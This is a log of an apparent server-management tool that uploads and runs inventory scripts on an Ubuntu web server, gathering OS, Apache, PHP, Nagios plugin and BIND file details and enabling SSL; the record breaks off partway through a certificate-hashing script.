MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:50:48: Establishing a connection
2025-12-31 19:50:49: Performing Server Status
2025-12-31 19:50:49:
PUT: /tmp/pkp261968
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 19:50:50:
chmod 755 /tmp/pkp261968; /tmp/pkp261968; rm /tmp/pkp261968
2025-12-31 19:50:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 2816 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-31 19:50:50:
PUT: /tmp/pkp487043
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-31 19:50:50:
chmod 755 /tmp/pkp487043; /tmp/pkp487043; rm /tmp/pkp487043
2025-12-31 19:50:51:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 437995 0.0 0.2 256144 35152 ? Ss Dec19 0:34 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-31 19:50:51:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-12-31 19:50:51:
PUT: /tmp/pkp381990
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 19:50:51:
chmod 755 /tmp/pkp381990; /tmp/pkp381990; rm /tmp/pkp381990
2025-12-31 19:50:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-31 19:50:52:
PUT: /tmp/pkp617468
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-31 19:50:52:
chmod 755 /tmp/pkp617468; /tmp/pkp617468; rm /tmp/pkp617468
2025-12-31 19:50:53:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
2025-12-31 19:50:53:
PUT: /tmp/pkp447555
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:50:53:
chmod 755 /tmp/pkp447555; /tmp/pkp447555; rm /tmp/pkp447555
2025-12-31 19:50:54:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-12-31 19:50:54:
PUT: /tmp/pkp780567
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-31 19:50:54:
chmod 755 /tmp/pkp780567; /tmp/pkp780567; rm /tmp/pkp780567
2025-12-31 19:50:54:
status=ok
2025-12-31 19:50:54:
PUT: /tmp/pkp728432
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
